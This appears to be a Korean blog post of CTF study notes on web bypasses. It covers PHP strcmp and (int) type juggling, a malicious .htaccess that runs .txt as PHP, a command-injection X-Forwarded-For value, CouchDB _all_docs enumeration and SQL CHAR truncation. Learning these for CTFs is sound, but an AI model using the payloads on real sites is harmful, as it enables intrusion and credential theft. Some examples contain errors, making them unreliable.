CTF 3일차

2026. 1. 22. 12:16·IT Dictionary/CTF & 보안
반응형

1. PHP strcmp() 취약점

  • PHP 5.3 이상, 8.0 미만의 버전에서의 strcmp()은 인자 값을 배열 타입의 데이터를 전달하면 NULL을 반환하는 취약점 발생
if (strcmp($_POST['password'], $password) == 0) {
    echo "Congratulations! Flag is <b>" . $FLAG ."</b>";
    exit();
} else {
    echo "Wrong password..";
}
  • 즉, password[] = "asdf" 와 같이 post 값을 배열로 준다면 NULL == 0 이 되기 때문에 FLAG를 출력
  • 버프 슈트로 post 값을 다음과 같이 변조
password[]="asdf"

 

2. Linux Apache htaccess 취약점

  • /etc/apache2/apache2.conf 파일에 AllowOverride가 All 로 설정되어 있다면 .htaccess 파일을 통해 취약점 발생
  • 서버 오류가 나온다면 대부분 htaccess 설정이 All로 되어 있는 상태임을 짐작 가능
  • .htaccess 의 주요 공격 페이로드는
    • php_flag engine off : php의 엔진을 다운시켜 php의 소스코드를 그대로 노출
    • AddType application/x-httpd-php txt :txt 파일을 php로 실행시킴 (txt 자리에는 파일 확장자가 들어감), 웹셀 공격 가능
  • 파일 업로드를 통해 다음과 같은 .htaccess 파일을 업로드
# .htaccess
AddType application/x-httpd-php txt

 

3. REMOTE_ADDR 취약점

  • 다음과 같이 리눅스 명령어 echo 를 통해 클라이언트 IP를 출력해주는 웹사이트가 있음

  • X-Forwarded-For 헤더를 통해 클라이언트 IP를 조작할 수 있고, Command Inectjion 까지 가능한 환경임
X-Forwarded-For: 1.1.1.1; cat ../flag

 

4. NoSQL 기반 CouchDB 취약점 (express)

  • uid와 upw를 받아 로그인 해주는 페이지

  • couch 객체가 담긴 users의 get 메서드를 통해 uid를 받아옴
users.get(req.body.uid, function(err, result) {
    if (err) {
        console.log(err);
        res.send('error');
        return;
    }
    if (result.upw === req.body.upw) {
        res.send(`FLAG: ${process.env.FLAG}`);
    } else {
        res.send('fail');
    }
});
  • 그러나 get은 couchdb에서 특정 반응을 일으키는 문자에 대한 필터링을 진행하지 않음
  • uid에 _all_docs 을 입력하여 json 형식으로 데이터베이스의 document를 출력
  • 모든 document가 출력되기 때문에 upw라는 필드는 존재하지않음
  • result.upw는 undefind가 되고, upw도 html 태그를 수정하여 undefind를 만들면 FLAG를 출력

 

5. PHP 타입 변환 연산자 취약점

  • 다음과 같이 id와 pw를 입력 받아 서버 내부에 저장된 id와 pw를 비교하는 코드가 있음
$id = getRandStr(); #'RANDOM 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
$pw = sha1("1"); // 356a192b7913b04c54574d18c28d46e6395428ab

$input_id = $_POST["input1"] ? $_POST["input1"] : "";
$input_pw = $_POST["input2"] ? $_POST["input2"] : "";
sleep(1);

if((int)$input_id == $id && strlen($input_id) === 10){
    echo '<h4>ID pass.</h4><br>';
    if((int)$input_pw == $pw && strlen($input_pw) === 8){
        echo "<pre>FLAG\n";
        echo $flag;
        echo "</pre>";
	}
    } else{
      echo '<h4>Try again.</h4><br>';
    }
}
  • 비교 연산자를 보면 int로 변환시켜 비교해주는 데, 여기서 취약점이 발생
  • PHP에서의 str을 int로의 타입 변환은 "1234" 와 같은 정수를 변환해준다는 것을 의미함
(int)"12345"  #123456
(int)"asdf12345" #0
(int)"12345asdf" #12345
(int)"asdf" #0
  • 또한 int로 타입 변환을 시켜준 변수 $input_id와 비교 대상인 $id도 똑같이 int 타입 변환을 시켜 비교를 실행시킴
  • 다음과 같이 입력하면 FLAG을 출력함 
input_id="0000000000"
input_pw="325aaaaa" 

 

6. SQL CHAR 취약점

  • SQL에서 CHAR은 VARCHAR 타입과는 다르게 공백까지 같이 데이터로 저장시킴
  • 또한, 예를 들어 입력 값이 CHAR(32)에서 크기를 넘어간다면 그 뒤에 입력된 데이터는 자름
  • 회원가입을 하는 과정에서 admin이라는 계정이 이미 존재한다면 다음과 같이 우회를 할 수 있음
id:      admin                    00000
pw: admin!!
  • 즉, admin이라는 계정이 있는지 비교를 할 때는  "       admin                    00000" 이라는 입력 값과 비교하지만, sql에 삽입이 될 때는 33번째 문자열부터는 잘라서 저장하기 때문에 쿼리가 정상적으로 작동됨
  • 또한 INSERT안에서 SELECT 쿼리 문을 실행할 수 있음
INSERT INTO user(id, name, pw) VALUES('aa', 'bb', (select pw from user where id='admin')) -- ', {name}, {pw})

 

반응형

'IT Dictionary > CTF & 보안' 카테고리의 다른 글

CTF 2일차  (0) 2026.01.20
CTF 1일차  (0) 2026.01.19
'IT Dictionary/CTF & 보안' 카테고리의 다른 글
  • CTF 2일차
  • CTF 1일차
MutJangE
MutJangE
즐거운 인생
  • MutJangE
    MutJangE
    MutJangE
  • 전체
    오늘
    어제
    • 분류 전체보기 (86) N
      • IT Dictionary (1) N
        • Database (7)
        • Network (9)
        • Computer Science (12) N
        • 정보보안산업기사 (24)
        • CTF & 보안 (3)
      • 일상 (11) N
        • 배포중인 웹 서비스 (1)
        • CERT병 (6)
        • 토익 (3) N
      • 프로그래밍 (19)
        • Java (1)
        • C# (6)
        • Unity (7)
        • React (4)
        • React native (1)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.5
    MutJangE
    CTF 3일차
    상단으로

    티스토리툴바